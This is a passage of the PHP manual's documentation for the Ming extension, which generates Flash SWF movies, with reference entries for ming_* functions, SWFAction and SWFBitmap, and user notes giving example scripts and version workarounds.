  // gradient shape thing
  $s = new SWFShape();
  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.03);
  $s->setRightFill($f);
  $s->movePenTo(-600, -600);
  $s->drawLine(1200, 0);
  $s->drawLine(0, 1200);
  $s->drawLine(-1200, 0);
  $s->drawLine(0, -1200);

  // need to make this a sprite so we can multColor it
  $p = new SWFSprite();
  $p->add($s);
  $p->nextFrame();

  // put the shape in here, each frame a different color
  $q = new SWFSprite();
  $q->add(new SWFAction("gotoFrame(random(7)+1); stop();"));
  $i = $q->add($p);

  $i->multColor(1.0, 1.0, 1.0);
  $q->nextFrame();
  $i->multColor(1.0, 0.5, 0.5);
  $q->nextFrame();
  $i->multColor(1.0, 0.75, 0.5);
  $q->nextFrame();
  $i->multColor(1.0, 1.0, 0.5);
  $q->nextFrame();
  $i->multColor(0.5, 1.0, 0.5);
  $q->nextFrame();
  $i->multColor(0.5, 0.5, 1.0);
  $q->nextFrame();
  $i->multColor(1.0, 0.5, 1.0);
  $q->nextFrame();

  // finally, this one contains the action code
  $p = new SWFSprite();
  $i = $p->add($q);
  $i->setName('frames');
  $p->add(new SWFAction("

dx = (/:mousex-/:lastx)/3 + random(10)-5;
dy = (/:mousey-/:lasty)/3;
x = /:mousex;
y = /:mousey;
alpha = 100;

  "));
  $p->nextFrame();

  $p->add(new SWFAction("

this.x = x;
this.y = y;
this.alpha = alpha;
x += dx;
y += dy;
dy += 3;
alpha -= 8;

  "));
  $p->nextFrame();

  $p->add(new SWFAction("prevFrame(); play();"));
  $p->nextFrame();

  $i = $m->add($p);
  $i->setName('frames');
  $m->nextFrame();

  $m->add(new SWFAction("

lastx = mousex;
lasty = mousey;
mousex = /mouse.x;
mousey = /mouse.y;

++num;

if (num == 11)
  num = 1;

removeClip('char' & num);
duplicateClip(/frames, 'char' & num, num);

  "));

  $m->nextFrame();
  $m->add(new SWFAction("prevFrame(); play();"));

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

User Contributed Notes

Ross Smith 04-Oct-2010 04:22
These examples does not work, unless you add
ming_useswfversion(4);
to the beginning, as found in the examples here:
http://ming.sourceforge.net/examples/index.html
taral dot m dot oza at gmail dot com 24-Jun-2010 08:57
I think we can solve this problem by putting // (double slashes) at everywhere where / (single slash) is used in constructor .

I have test it to my local .. It works fine for me ..
Oliver 07-Apr-2009 02:48
You may get a "syntax error" when trying the above examples. To solve this, remove the slash "/" from the following line in example 1:

$m->add(new SWFAction("/box.x += 3;"));

Similarly in the other examples.


SWFSPrite basic examples

This simple example will spin gracefully a big red square.

Example #1 swfsprite() example

<?php
$s = new SWFShape();
$s->setRightFill($s->addFill(0xff, 0, 0));
$s->movePenTo(-500, -500);
$s->drawLineTo(500, -500);
$s->drawLineTo(500, 500);
$s->drawLineTo(-500, 500);
$s->drawLineTo(-500, -500);

$p = new SWFSprite();
$i = $p->add($s);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();
$i->rotate(15);
$p->nextFrame();

$m = new SWFMovie();
$i = $m->add($p);
$i->moveTo(1500, 1000);
$i->setName("blah");

$m->setBackground(0xff, 0xff, 0xff);
$m->setDimension(3000, 2000);

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Ming Functions

Table of Contents

  • ming_keypress — Returns the action flag for keyPress(char)
  • ming_setcubicthreshold — Set cubic threshold
  • ming_setscale — Set the global scaling factor.
  • ming_setswfcompression — Sets the SWF output compression
  • ming_useconstants — Use constant pool
  • ming_useswfversion — Sets the SWF version

User Contributed Notes

catfarm at gmail dot com 07-Sep-2007 01:48
I tried to use the code suggested below by random at nowhere dot com to extract the width and height from an swf with no success, however the following worked for me in php 5.

<?php

$info = getimagesize('flashfile.swf');
$w = $info[0];
$h = $info[1];

?>

not sure how far back it works, or with what versions of flash, but it seems to work with flash 7 files just fine.
random at nowhere dot com 01-Aug-2007 10:48
For those looking for just getting size of a .swf file :
<?
// bytes_to_signed_int(data,offset,length)
function b2i($d,$o,$l) {
    $s=(ord($d[$o/8])>>(7-$o%8))&1; $r=0;
    for ($i=$o+1;$i<$o+$l;$i++) {
        $b=(ord($d[$i/8])>>(7-$i%8))&1;
        $r=($r<<1)+($s?!$b:$b);
    }
    if ($s) { $r++; $r=-$r; }
    return $r;
}

// flash9 or <9 but uncompressed
$f="myfile.swf";

// get only 20 first bytes
$d=file_get_contents($f,0,null,0,20);

echo "Version of Flash : ".ord($d[3])."<br>";
$s=unpack("V",substr($d,4,4)); echo "FileSize : ".$s[1]." bytes<br>";

// here is the decompression, fix this for flash <9
if (substr($d,0,3)=="CWS") $d=substr($d,0,8).gzinflate(substr($d,8));

$nb=ord($d[8])>>3; // bytes needed
$xmin=b2i($d,8*8+5,$nb);
$xmax=b2i($d,8*8+5+$nb,$nb);
$ymin=b2i($d,8*8+5+2*$nb,$nb);
$ymax=b2i($d,8*8+5+3*$nb,$nb);

// width=xmax-xmin, height=ymax-ymin, twips->pixels = /20
echo "width=".(($xmax-$xmin)/20)."<br>";
echo "height=".(($ymax-$ymin)/20)."<br>";
?>
rolf at winmutt dot com 18-Mar-2007 10:51
Here is a little font browser I made to try and typeset match my designers font from the pack of 1300+ fdb I found on google:

<?
    $m = new SWFMovie();
    $m->setBackground(0xFF, 0xFF, 0xFF);
    $m->setDimension(320, 40);

    function drawGlyphString($string, $s, $f, $fill) {
        $s->setRightFill($fill);
        $s->movePenTo(0, $f->getAscent());

        for ($i=0; $i<strlen($string); $i++) {
            $s->drawGlyph($f, substr($string,$i,1), $size);
            $s->movePen($f->getWidth(substr($string,$i,1)), 0);
        }
    }

    function drawFont($f) {
        $logo = new SWFShape();

        $grey = $logo->addFill(0, 0, 0);
        drawGlyphString('yrt '.$_REQUEST['fdb'], $logo, $f, $grey);
        return $logo;
    }

    if ($_REQUEST['fdb']) {
        $f = new SWFFont($_REQUEST['fdb']);
        $i = $m->add(drawFont($f));
        $i->scaleTo(0.5);
        header('Content-type: application/x-shockwave-flash');
        $m->output();
    } else {
        if (!$_REQUEST['o']) $_REQUEST['o']=0;
        if (!$_REQUEST['l']) $_REQUEST['l']=80;
        $o=$_REQUEST['o'];
        $l=$_REQUEST['l'];

        $d = dir(".");
        while (false !== ($entry = $d->read())) {
            if (stristr($entry, 'fdb') && !strstr($entry, '-I') && !strstr($entry, '-B')) {
                if ($_REQUEST['o']) {
                    $_REQUEST['o']--;
                } elseif ($_REQUEST['l'] ) {
                    $_REQUEST['l']--;
                    echo '<iframe height="30px" src="fonts.php?fdb='.$entry.'&" title="'.$entry.'"></iframe>';
                } else {
                    echo '<img src="/creativesyndrome.com/logo.png"><br><a href="?l='.$l.'&o='.($o+$l).'">next ></a>';exit;
                }
            }
        }
        $d->close();
    }

?>
Scottie_Too_Hottie7 at lycos dot com 11-Nov-2005 09:59
For People Like My Mate, Matt, Who Dosent Know Much PHP, I Am Creating A Simpeler PHP Libary. It Runs Under Ming 0.3

It - Along With Two Examples - Can Be Currently Downloaded From The Link Below

PLEASE NOTE : At The Time Of This Post, The Libary Is Currently Is Unfinished And Currently Looks Like A Mess Of Files - But It Works!

http://members.lycos.co.uk/cgming/simpleswf.html
dank at nospam dot org 08-Apr-2005 11:23
/*
If you are looking to do some simple interaction between Flash MX and php,
here is an extremely basic model to get you started. The Flash file has a simple
Input Text field which allows the user to enter text (ie a textbox). The flash
then passes the textfield to the php script for processing/database interaction etc.

The idea is a form made in Flash, but processing by php/mysql (or whatever). If you want
to handle all GUI in Flash, see the links below for more info.

All "Actions" or "Action Script" located in frame 1, layer 1.
In Flash, create an Input Box with an instance name of myTextBox.
Create a "submit button" using Insert>New Symbol>Movie Clip.
Dont use the PushButton Component or you will have to add
scripting to that component (ie outside Frame1 Layer1). Keeping all the
Action Script in Frame1 makes for a simpler example.

Next, click on the background in Frame1 (the "Properties" dialog
should show the Background color). Hit F9 to show actions for Frame1.
Enter the below code:
*/

//Create object to hold vars
dataSender  = new LoadVars();

//Define submit button behavior
submit_button.onRelease = function() {
    //assign properties to LoadVars object created previously
    //myTextBox is instance name for input text box
    //foo will be the var passed to php (ie $foo)
    //Set foo to the text entered by user
    dataSender.foo = myTextBox.text;
    //Call flash's send function to send foo to the php script
    //Using "_self" will pass control to the php script
    dataSender.send("testFlash.php", "_self", "POST");
}

/* Put the swf file in an html file and upload it to the server
Create the below php file and save it as testFlash.php:

<?php
echo "foo= $foo";
?>

Push testFlash.php to the same directory on the server and hit
your html file with your browser.

Parts of this code taken from:
http://www.thegoldenmean.com/technique/flashMX_mailform1.html
and
http://actionscript-toolbox.com/samplemx_php.php
*/
wokan at cox dot net 02-Jun-2004 03:07
For those who don't get the naming, _Ming_ the Merciless was comic book hero _Flash_ Gordon's arch enemy.
gaz_b3 at yahoo dot com 04-Apr-2003 02:11
The current CVS version, Ming 0.3a, supports
a lot of MX ActionScript including the MX Drawing API.
This is very nice for easy command line compiling of
MX ActionScript only movies.

For example:

<?
ming_setScale(20.00000000);
ming_useswfversion(6);
$movie = new SWFMovie();
$movie->setDimension(550,400);
$movie->setBackground(0xcc, 0xcc, 0xcc );
$movie->setRate(31);

// mx actionscript
$strAction = "
_root.createEmptyMovieClip ( 'triangle', 1 );
with ( _root.triangle ) {
lineStyle( 5, 0xff00ff, 100 );
moveTo( 200, 200 );
lineTo( 300,300 );
lineTo( 100, 300 );
lineTo( 200, 200 );
}
";

$movie->add(new SWFAction( str_replace("\r", "", $strAction) ));
$movie->save("trianglemx.swf");
?>

Lots of examples here:

http://www16.brinkster.com/gazb/ming/
kunnoichi at hotmail dot com 20-Aug-2001 09:50
//In quicktime, movies may be exported as jpeg or png
//This object will convert any movie that has been saved as a group of images into
//an swf file. The frame rate and other attributes can be controlled

$path = "my_movie_dir"; //relative path to the jpg/png or bmp files
$frame_rate=30; //frame rate of the flash movie
$quality=50; //image quality during conversion (only valid if not jpeg)
$skip_rate=5; //how many frames to skip
set_time_limit("600"); //this could take some time

$converter=new images_to_swf($path,$frame_rate,$skip_rate);

//$converter->convert_images(70); //Use this if using non jpeg files or decreasing the quality

$converter->make_movie();//Make the movie

//Do two things with it
$converter->save_movie("my_movie_dir/my_movie.swf");
$converter->output_movie();

class images_to_swf {

    var $path; //path to the image files
    var $skip_rate;
    var $movie;
    var $images=array();

    function images_to_swf($path,$frame_rate=30,$skip_rate=5) {
        $this->path=$path;
        $this->skip_rate=$skip_rate;

        $this->movie=new swfmovie ();
        $this->movie->setrate ($frame_rate);
    }

    function convert_images($quality=80,$delete_old_files=1) {
        $main = opendir($this->path);
        rewinddir($main);
        //first convert to jpeg (if we have to)
        //also change the quality
        while($filename = readdir($main)) {

            //only use valid file types
            if (ereg("(png|bmp|jpg|jpeg)\$",$filename)) {
                $file_path=$this->path."/".$filename;

                if (ereg("png\$",$filename)) $temp_img=imagecreatefrompng ($file_path);
                else if (ereg("bmp\$",$filename)) $temp_img=imagecreatefrompng ($file_path);
                else if (ereg("(jpg|jpeg)\$",$filename)) $temp_img=imagecreatefromjpeg ($file_path);

                if (ereg("(png|bmp)\$",$filename)) {
                    if ($delete_old_files) unlink($file_path);
                    $new_file_path=$file_path.".jpg";
                }
                else $new_file_path=$file_path;

                ImageJPEG($temp_img,$new_file_path,$quality);

                //echo "Converted $filename to $new_file_path at quality $quality<br />";
            }
        }
    }

    function make_movie() {
        $main = opendir($this->path);
        rewinddir($main);
        //Get all valid jpegs
        while($filename = readdir($main)) {
            if (ereg("(jpg|jpeg)\$",$filename)) {
                $file_path=$this->path."/".$filename;
                $valid_paths[]=$file_path;
            }
        }

        //Put jpegs in order
        sort($valid_paths);

        //then create the movie
        for ($a=0; $a<count($valid_paths); $a=$a+$this->skip_rate) {
            $fp = fopen($valid_paths[$a],"rb");
            $this->images[$a] = fread($fp,999999);
            fclose($fp);
            $this->movie->add(new swfbitmap($this->images[$a]));
            $this->movie->nextframe();
            //echo "Added ".$valid_paths[$a]." to the movie<br />\n";
        }
    }

    function save_movie($file_name) {
        $this->movie->save($file_name);
    }

    function output_movie() {
        header('Content-type: application/x-shockwave-flash');
        $this->movie->output();
    }
}
ivv_rousse at yahoo dot com 04-Aug-2001 03:17
// Simple button with link

<?php
  Ming_setScale(1.0);

  function makeRect($r, $g, $b){
    $s = new SWFShape();
    $s->setRightFill($s->addFill($r, $g, $b));
    $s->movePenTo(-100,-20);
    $s->drawLineTo(100,-20);
    $s->drawLineTo(100,20);
    $s->drawLineTo(-100,20);
    $s->drawLineTo(-100,-20);
    return $s;
  }

// Set Font
  $font = new SWFFont("test.fdb");
  $text1 = new SWFText();
  $text1->setFont($font);
  $text1->moveTo(155, 410);
  $text1->setColor(0x00, 0x00, 0x00);
  $text1->setHeight(28);
  $text1->addString("php.net");
  $b1 = new SWFButton();
  $b1->setUp(makeRect(0xff, 0, 0));
  $b1->setOver(makeRect(0xcc, 0, 0));
  $b1->setDown(makeRect(0, 0, 0xaa));
  $b1->setHit(makeRect(0, 0, 0));
  $b1->addAction(new SWFAction("getURL('http://www.php.net/', 'phpsite');"),
                SWFBUTTON_MOUSEUP);

  $m = new SWFMovie();
  $m->setDimension(1000,1000);
  $m->setBackground(0xcc, 0xcc, 0xcc);

  $i = $m->add($b1);
  $m->add($text1);
  $i->setName("phpsite");
  $i->moveTo(200,400);

header("Content-type: application/x-shockwave-flash");
$m->output();
?>


Returns the action flag for keyPress(char)

  • « Ming Functions
  • ming_setcubicthreshold »
  • PHP Manual
  • Ming Functions
  • Returns the action flag for keyPress(char)

ming_keypress

(PHP 5 <= 5.3.0, PECL ming SVN)

ming_keypress — Returns the action flag for keyPress(char)

Description

int ming_keypress ( string $char )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Set cubic threshold

  • « ming_keypress
  • ming_setscale »
  • PHP Manual
  • Ming Functions
  • Set cubic threshold

ming_setcubicthreshold

(PHP 4 >= 4.0.5, PHP 5, PECL ming SVN)

ming_setcubicthreshold — Set cubic threshold

Description

void ming_setcubicthreshold ( int $threshold )

Sets the threshold error for drawing cubic beziers.

Parameters

threshold

The Threshold. Lower is more accurate, hence larger file size.

Return Values

No value is returned.

User Contributed Notes

cece at php dot net 28-Aug-2002 07:18
Reading that document on Macromedia's site gives me light.

http://www.macromedia.com/support/flash/ts/documents/beziers.htm

It says, swf format only supports quadratic beziers, what less accurate than cubic beziers, but easy to render fast. I think, in swf file's beziers are quadratic interpolation of better looking quadratic beziers. Threshold value drives this accuracy (more control nodes, bigger files)


Set the global scaling factor.

  • « ming_setcubicthreshold
  • ming_setswfcompression »
  • PHP Manual
  • Ming Functions
  • Set the global scaling factor.

ming_setscale

(PHP 4 >= 4.0.5, PHP 5, PECL ming SVN)

ming_setscale — Set the global scaling factor.

Description

void ming_setscale ( float $scale )

Sets the scale of the output SWF. Inside the SWF file, coordinates are measured in TWIPS, rather than PIXELS. There are 20 TWIPS in 1 pixel.

Parameters

scale

The scale to be set.

Return Values

No value is returned.

User Contributed Notes

mabuzzer at hotmail dot com 13-Mar-2002 07:58
ming_setscale() sets the scale of the output SWF.

Inside the SWF file, coordinates are measured in TWIPS, rather than PIXELS. There are 20 TWIPS in 1 pixel.

Originally, Ming used the TWIP coordinate values, but this was quite often confusing, especially when loading a Ming generated movie into one created using Flash.

Ming v0.1.0 addressed this, by making the default coordinate system use Pixels. This function is to allow older code (which assumes the scale to be in TWIPS) to continue to function as it did under Ming pre 0.1.0

As the Ming site says, "If you have no idea what I'm talking about, good. " Because you then have no need for this function.


Sets the SWF output compression

  • « ming_setscale
  • ming_useconstants »
  • PHP Manual
  • Ming Functions
  • Sets the SWF output compression

ming_setswfcompression

(PHP 5.2.1-5.3.0, PECL ming SVN)

ming_setswfcompression — Sets the SWF output compression

Description

void ming_setswfcompression ( int $level )

Sets the SWF output compression level.

Parameters

level

The new compression level. Should be a value between 1 and 9 inclusive.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Use constant pool

  • « ming_setswfcompression
  • ming_useswfversion »
  • PHP Manual
  • Ming Functions
  • Use constant pool

ming_useconstants

(PHP 5 <= 5.3.0, PECL ming SVN)

ming_useconstants — Use constant pool

Description

void ming_useconstants ( int $use )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the SWF version

  • « ming_useconstants
  • SWFAction »
  • PHP Manual
  • Ming Functions
  • Sets the SWF version

ming_useswfversion

(PHP 4 >= 4.2.0, PHP 5 <= 5.3.0, PECL ming SVN)

ming_useswfversion — Sets the SWF version

Description

void ming_useswfversion ( int $version )

Sets the SWF version to be used in the movie. This affect the bahaviour of Action Script.

Parameters

version

SWF version to use.

Return Values

No value is returned.

Examples

Example #1 ming_useswfversion() example

<?php

$movie = new SWFMovie();
ming_useswfversion(4); // Flash 4

?>

User Contributed Notes

sneakyimp at hot mail dot com 15-Nov-2008 12:32
According to the docs at libming.net, this setting specifies which flash version to be used when creating your SWF file.  You can specify versions 4 through 8.  More here:

http://www.libming.net/docs/libming/Ming_useSWFVersion.html


The SWFAction class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFAction.

Class synopsis

SWFAction {
/* Methods */
__construct ( string $script )
}

Description

The script syntax is based on the C language, but with a lot taken out- the SWF bytecode machine is just too simpleminded to do a lot of things we might like. For instance, we can't implement function calls without a tremendous amount of hackery because the jump bytecode has a hardcoded offset value. No pushing your calling address to the stack and returning- every function would have to know exactly where to return to.

So what's left? The compiler recognises the following tokens:

  • break
  • for
  • continue
  • if
  • else
  • do
  • while

There is no typed data; all values in the SWF action machine are stored as strings. The following functions can be used in expressions:

time()
Returns the number of milliseconds (?) elapsed since the movie started.
random(seed)
Returns a pseudo-random number in the range 0-seed.
length(expr)
Returns the length of the given expression.
int(number)
Returns the given number rounded down to the nearest integer.
concat(expr, expr)
Returns the concatenation of the given expressions.
ord(expr)
Returns the ASCII code for the given character
chr(num)
Returns the character for the given ASCII code
substr(string, location, length)
Returns the substring of length length at location location of the given string string.

Additionally, the following commands may be used:

duplicateClip(clip, name, depth)
Duplicate the named movie clip (aka sprite). The new movie clip has name name and is at depth depth.
removeClip(expr)
Removes the named movie clip.
trace(expr)
Write the given expression to the trace log. Doubtful that the browser plugin does anything with this.
startDrag(target, lock, [left, top, right, bottom])
Start dragging the movie clip target. The lock argument indicates whether to lock the mouse (?)- use 0 (FALSE) or 1 (TRUE). Optional parameters define a bounding area for the dragging.
stopDrag()
Stop dragging my heart around. And this movie clip, too.
callFrame(expr)
Call the named frame as a function.
getURL(url, target, [method])
Load the given URL into the named target. The target argument corresponds to HTML document targets (such as "_top" or "_blank"). The optional method argument can be POST or GET if you want to submit variables back to the server.
loadMovie(url, target)
Load the given URL into the named target. The target argument can be a frame name (I think), or one of the magical values "_level0" (replaces current movie) or "_level1" (loads new movie on top of current movie).
nextFrame()
Go to the next frame.
prevFrame()
Go to the last (or, rather, previous) frame.
play()
Start playing the movie.
stop()
Stop playing the movie.
toggleQuality()
Toggle between high and low quality.
stopSounds()
Stop playing all sounds.
gotoFrame(num)
Go to frame number num. Frame numbers start at 0.
gotoFrame(name)
Go to the frame named name. Which does a lot of good, since I haven't added frame labels yet.
setTarget(expr)
Sets the context for action. Or so they say- I really have no idea what this does.
And there's one weird extra thing. The expression frameLoaded(num) can be used in if statements and while loops to check if the given frame number has been loaded yet. Well, it's supposed to, anyway, but I've never tested it and I seriously doubt it actually works. You can just use /:framesLoaded instead.

Movie clips (all together now- aka sprites) have properties. You can read all of them (or can you?), you can set some of them, and here they are:

  • x
  • y
  • xScale
  • yScale
  • currentFrame - (read-only)
  • totalFrames - (read-only)
  • alpha - transparency level
  • visible - 1=on, 0=off (?)
  • width - (read-only)
  • height - (read-only)
  • rotation
  • target - (read-only) (???)
  • framesLoaded - (read-only)
  • name
  • dropTarget - (read-only) (???)
  • url - (read-only) (???)
  • highQuality - 1=high, 0=low (?)
  • focusRect - (???)
  • soundBufTime - (???)
So, setting a sprite's x position is as simple as /box.x = 100;. Why the slash in front of the box, though? That's how flash keeps track of the sprites in the movie, just like a Unix filesystem- here it shows that box is at the top level. If the sprite named box had another sprite named biff inside of it, you'd set its x position with /box/biff.x = 100;. At least, I think so; correct me if I'm wrong here.

Table of Contents

  • SWFAction::__construct — Creates a new SWFAction

User Contributed Notes

Mark Omohundro, ajamyajax dot com 15-Feb-2009 08:05
<?php
// tip: if you want to STOP an animation using SWFAction(),
// add a nextFrame() method immediately after, like this:

$p = new SWFSprite();
// ...
$i->rotate(15);
$p->nextFrame();
// ...
$p->add(new SWFAction("stop();"));
$p->nextFrame();  // stops right here
//(eop)

// this also seems to work, stopping a movie *exactly* where you want
// but only if not using SWFSprite() movie clips... then try the above.
$m->add(new SWFAction("stop();"));
$m->nextFrame();
//(eop)

// also: setFrames(n) doesn't seem to stop animation immediately...
// by design, or perhaps a current version/older release bug(?)
// the above was only tested with Ming 0.3beta1.  hope this helps.
?>
jon at nux dot co dot uk 06-Sep-2008 06:27
A little story that may help some others - part 2

and this didn't work... why not.. the trace gave me a clue:

Warning: createEmptyMovieClip is not a function

After a bit of digging around I found that this was because the flash movie was not running in the right version. There is a ming option that is mentioned in other posts but does not seem to be well documented and that is:

ming_useswfversion(setversion)

This makes the world of a difference as it sets what version of flash ming outputs its movies as.

So the monent I added:

ming_useswfversion(6)

To the top of my php I not only did the createEmptyMovieClip function work but so did the loading and the variable was accessible. Huruh!

So my final code now looks like this:

<?php
    ming_useswfversion(6);

    $m = new SWFMovie();
    $m->setRate(30.000000);
    $m->setDimension(480, 400);
    $m->setBackground(0xff, 0xff, 0xff);

    $m->add(new SWFAction('
        myvar = "variable to pass to flash";
        this.createEmptyMovieClip("mc", 99999);
        mc.loadMovie ("/flash_file_created_by_hand.swf");
    ');

    header('Content-type: application/x-shockwave-flash');
    $m->output();
?>

instead of this:

<?php
    $m = new SWFMovie();
    $m->setRate(30.000000);
    $m->setDimension(480, 400);
    $m->setBackground(0xff, 0xff, 0xff);

    $m->add(new SWFAction('
        myvar = "variable to pass to flash";
        LoadMovie("/flash_file_created_by_hand.swf", "mc");
    ');

    /* -- make movie clip 'mc' that we will load flash_file_created_by_hand.swf into -- */
    $s1 = new SWFSprite();  /* (1 frames) */
    $s1->nextFrame();  /* (end of sprite frame 0) */
    $i1 = $m->add($s1);
    $i1->setName('mc');
    $m->nextFrame();  /* (end of frame 0) */

    header('Content-type: application/x-shockwave-flash');
    $m->output();
?>

I dont pretend to be a flash guru.. but i know it took me a while to figure this all out.. so I thought that this post might one day be of help to someone.
jon at nux dot co dot uk 06-Sep-2008 06:26
A little story that may help some others - part 1

Upgrading from:

I have used ming for several years now for injecting variables into flash, usually for menus. In a recent move to a new server all the ming/php stopped working. Ming was working and properly installed but the variables just weren't apparent within the flash movie.

The old server is running:
ming-0.2a_1         LGPL'ed Flash 4/5 movie output library with many languages
php4-ming-4.4.1_1   The ming shared extension for php

The new one is running:
ming-0.3.0_3        LGPL'ed Flash 4/5 movie output library with many languages
php5-ming-5.2.6_1   The ming shared extension for php

So the way I have always done this is to put all my data together in php, and then put it into an array/variable in Flash. I then create a movie clip and load my movie.swf (made by hand in flash) into the movieclip.

I know there are now cleaner ways of getting data loaded into Flash (even directly from Flash without ming) but as I have many many movies out there using ming it is far easier to change a few lines of php to get them working again than change every flash movie.

So anyhow, here is the code:

<?php
    $m = new SWFMovie();
    $m->setRate(30.000000);
    $m->setDimension(480, 400);
    $m->setBackground(0xff, 0xff, 0xff);

    $m->add(new SWFAction('
        myvar = "variable to pass to flash";
        LoadMovie("/flash_file_created_by_hand.swf", "mc");
    ');

    /* -- make movie clip 'mc' that we will load flash_file_created_by_hand.swf into -- */
    $s1 = new SWFSprite();  /* (1 frames) */
    $s1->nextFrame();  /* (end of sprite frame 0) */
    $i1 = $m->add($s1);
    $i1->setName('mc');
    $m->nextFrame();  /* (end of frame 0) */

    header('Content-type: application/x-shockwave-flash');
    $m->output();
?>

So what stopped working. Well this took me a while to work out, and even know I am not 100% sure but I can tell you what does work and how I got there.

Firstly I needed some more debugging, and so installing the flash debug player http://www.adobe.com/support/flashplayer/downloads.html and 'Flash Tracer' https://addons.mozilla.org/en-US/firefox/addon/3469 enabled me to see trace output of the ming movie and my loaded movie (flash_file_created_by_hand.swf).  If you don't already know then this is worth knowing about. I had to play around a bit to get the debug player to write its log file, but it is worth it.
Make sure you have the write settings when you publish your movie otherwise you will not be able to see the trace output.

So now I can see trace... well I used to this run a few checks to see for instance if the movie clip was there :

$s1->add(new SWFAction('
    trace ("location of movie clip is: " + this._target);
');

and so I played around.. and I could see that the movie clip 'mc' was being created and that the movie flash_file_created_by_hand.swf was being loaded into  it but well not much else. So I still coudn't see what was happening to the data. I currently suspect that the loadMovie was loading the movie into level0 or _root rather than into /mc (_root.mc) as thus wiping out the ming vabiables.. but I can't be sure. Given that the trace of the target etc happens before the loadmovie function I think this is entirely possible.

Anyhow, I thought I may aswell try to do this a differt way.. that is create the movieclip from actionsript rather than with php/ming.. ie:

$m->add(new SWFAction('
    this.createEmptyMovieClip("mc", 999);
');

instead of:

/* -- make movie clip 'mc' that we will load flash_file_created_by_hand.swf into -- */
$s1 = new SWFSprite();  /* (1 frames) */
$s1->nextFrame();  /* (end of sprite frame 0) */
$i1 = $m->add($s1);
$i1->setName('mc');
$m->nextFrame();  /* (end of frame 0) */
PHP User 04-Feb-2008 05:21
Typo in first example above:

  $m->add(new SWFAction("/box.x += 3;"));

Should be:

  $m->add(new SWFAction("box.x += 3;"));
tore dot aurstad at ntebb dot no 24-Nov-2007 04:09
There is some difficulty adressing objects in the swfmovie using swfaction, at least when using Windows and Flash Player 9. I debugged the .swf file generated with php ming in
Adobe Flash CS3 and saw that my references on swfdisplayitems was not set correctly. I tried labelling a submovie (swfsprite object) "showmovie", but the actionscript did not seem to be able to reference the object. The debugging in Adobe Flash 9 showed the "showmovie" object to instead have the labelling "_level0.instance1", I adjusted the code and then was able to manipulate the objects in my swfmovie. The naming scheme seems to follow this "_level0.instanceX" labelling, check by debugging your .swf movies generated from php ming at least in Windows+Flash player 9 to check if swfdisplayitem's method setname also does not work here.

Tore Aurstad, Norway
samrerb at gmail dot com 13-Aug-2006 06:03
for creating a play/pause button I used this script:
<?php
//pause button
  $b = new SWFButton();
  $b->addShape(rect(0, 0xff, 0), SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);
  $b->addAction(new SWFAction("stop();"),SWFBUTTON_MOUSEDOWN);
  $i = $movie->add($b);

//play button
  $b = new SWFButton();
  $b->addShape(rect_two(0, 0xff, 0), SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);
  $b->addAction(new SWFAction("play();"),SWFBUTTON_MOUSEDOWN);
  $i = $movie->add($b);
?>
it has to be run during every frame for the buttons to be in every frame... hope that helps somebody....
julien/*AT*/theoconcept.com 26-Jan-2006 07:41
fscommand, the proper way to call a javascript function from a flash animation seems not to work in Ming at the moment, here is a commented example on how to do that :

http://blog.theoconcept.com/flashlink.php
ifrost at uos dot de 25-Oct-2004 03:50
If you want to open an URL in a new window, define a shape ($ashape) and use this code:

<?php
$b = new SWFButton();
$b->addShape($ashape, SWFBUTTON_HIT | SWFBUTTON_UP | SWFBUTTON_DOWN | SWFBUTTON_OVER);
$b->addAction(
    new SWFAction(
    'getURL("http://www.php.net","_blank");' // _blank is the target like in html
    ), SWFBUTTON_MOUSEDOWN
);
?>

But if you want it in the same window use this addAction():

<?php
$b->addAction(
    new SWFAction(
    'this.getURL("http://www.php.net");'
    ), SWFBUTTON_MOUSEDOWN
);
?>
jerryscript at aol dot com 05-Jan-2004 03:28
Ming 0.3 (current cvs) can use most MX actionscript, just set the swf version to 6

ming_useswfversion(6);
Anze 03-Nov-2003 09:45
fscommand() doesn't work (at least in Ming 0.2a), but there is a workaround.
Instead of:
 fscommand("do","something");
use:
 getURL("fscommand:do","something");
jamesNOSPAMbarros at hotNOSPAMmail dot com 13-Sep-2002 08:35
Printing Flash Movies

When a browser tries to print flash, the autoscaling can make it look ugly. users have to right click on the flash and select "print" to get it to print properly. (so that thier flash player is handling the printing, not the browser) If you dont want to require this of your users, you can create a print button with the following action:

getURL('print:', '/');

by default, this prints ALL frames. to avoid this, just put:

$m->labelFrame("#p");
before:
$m->nextFrame();

where $m is your SWFMovie. the #p label denotes a printable frame. (this also allows you to build your movie, then throw the print button into the next frame and not have it show up when you print. )
diem at writeme dot com 05-Feb-2002 06:11
Sorry Guys ....
the /box.x syntax is for fash version 4 ... and _root.box._x is used for flash version 5 ....
Ming >= 0.2 assumes version 5 by default .... to use version 4 syntax, you must use ming_useswfversion before ...


Creates a new SWFAction

  • « SWFAction
  • SWFBitmap »
  • PHP Manual
  • SWFAction
  • Creates a new SWFAction

SWFAction::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFAction::__construct — Creates a new SWFAction

Description

SWFAction::__construct ( string $script )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFAction and compiles the given script in it.

Parameters

script

An ActionScript snippet to associate with the SWFAction. See SWFAction for more details.

User Contributed Notes

There are no user contributed notes for this page.


The SWFBitmap class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFBitmap.

Class synopsis

SWFBitmap {
/* Methods */
__construct ( mixed $file [, mixed $alphafile ] )
float getHeight ( void )
float getWidth ( void )
}

Table of Contents

  • SWFBitmap::__construct — Loads Bitmap object
